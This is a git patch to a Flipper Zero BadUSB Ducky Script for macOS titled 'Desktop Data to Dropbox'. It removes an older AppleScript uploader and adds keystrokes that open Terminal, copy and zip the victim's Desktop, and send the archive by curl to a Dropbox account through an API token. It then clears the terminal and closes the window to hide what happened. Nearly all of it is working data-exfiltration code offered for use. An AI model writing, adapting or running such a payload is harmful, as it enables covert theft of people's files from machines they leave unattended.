From 3e1ef5237c076f7bcbf8926735ab13d7ba815174 Mon Sep 17 00:00:00 2001 From: Narstybits Date: Thu, 1 Jun 2023 20:59:05 -0500 Subject: [PATCH] updated desktop Data to dropbox simple one step process now --- RECON/Desktop Data to Dropbox.txt | 71 +++++++++++-------------------- 1 file changed, 26 insertions(+), 45 deletions(-) diff --git a/RECON/Desktop Data to Dropbox.txt b/RECON/Desktop Data to Dropbox.txt index 6e1ee11..4f52ba6 100644 --- a/RECON/Desktop Data to Dropbox.txt +++ b/RECON/Desktop Data to Dropbox.txt @@ -1,59 +1,40 @@ REM This script copies the contents of the Desktop and uploads it to a specific dropbox API +REM Just replace "" with your actual API access token. +REM Once the file is uploaded to your dropbox +REM the file will be deleted and the terminal will be cleared and closed. REM Author: Narsty REM Title: Desktop Data to Dropbox REM Version 1.0 MacOs -REM Copy and paste this osascript/code (lines 12-31) into the Script editor App on your MacOs -REM Replace the "Your API Access token Here" placeholder with your actual Dropbox API token. line 13 -REM Save this script below as DTDUpload.scpt file (Use Script Editor) to your desktop. - - -set desktopPath to POSIX path of (path to desktop folder) -set dropboxAPIPath to "Your API Access token Here" -set apiEndpointURL to "https://content.dropboxapi.com/2/files/upload" - --- Get a list of files on the desktop -set fileNames to paragraphs of (do shell script "find " & quoted form of desktopPath & " -type f -maxdepth 1 -exec basename {} \\;") - --- Iterate over each file and upload it individually -repeat with fileName in fileNames - set filePath to desktopPath & fileName - -- Construct the cURL command to upload the file - set uploadScript to "curl -X POST " & quoted form of apiEndpointURL & " " & ¬ - "-H \"Authorization: Bearer " & dropboxAPIPath & "\" " & ¬ - "-H \"Dropbox-API-Arg: {\\\"path\\\": \\\"/" & fileName & "\\\", \\\"mode\\\": \\\"add\\\", \\\"autorename\\\": true, \\\"mute\\\": false}\" " & ¬ - "-H \"Content-Type: text/plain; charset=dropbox-cors-hack\" " & ¬ - "-T " & quoted form of (POSIX path of filePath) - - -- Run the cURL command - do shell script uploadScript -end repeat - - -REM Title: Desktop Data Upload Execution Script -REM Version 1.0 MacOs - -REM Save the below Ducky Script as a .txt file lines 40-54 (main Read.me has step by step directions) -REM and put the .txt file on your BADUSB flipper zero APP to execute the osascript through the terminal. - -ID 05ac:021e Apple:Keyboard DELAY 500 GUI SPACE DELAY 500 -STRING terminal -DELAY 500 -ENTER +STRING Terminal DELAY 1000 -STRING cd ~/Desktop ENTER DELAY 500 -STRING osascript DTDUpload.scpt +STRING mkdir -p ~/Desktop/Backup ENTER -DELAY 200 -GUI m - - - - +DELAY 500 +STRING cp -R ~/Desktop/* ~/Desktop/Backup/ +ENTER +DELAY 500 +STRING echo 'cd ~/Desktop/Backup && zip -r backup.zip . && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip' > upload.sh +ENTER +DELAY 2500 +ENTER +STRING chmod +x upload.sh +ENTER +DELAY 500 +STRING ./upload.sh +ENTER +DELAY 500 +STRING rm ~/Desktop/Backup +DELAY 500 +STRING clear +DELAY 250 +ENTER +DELAY 500 +GUI w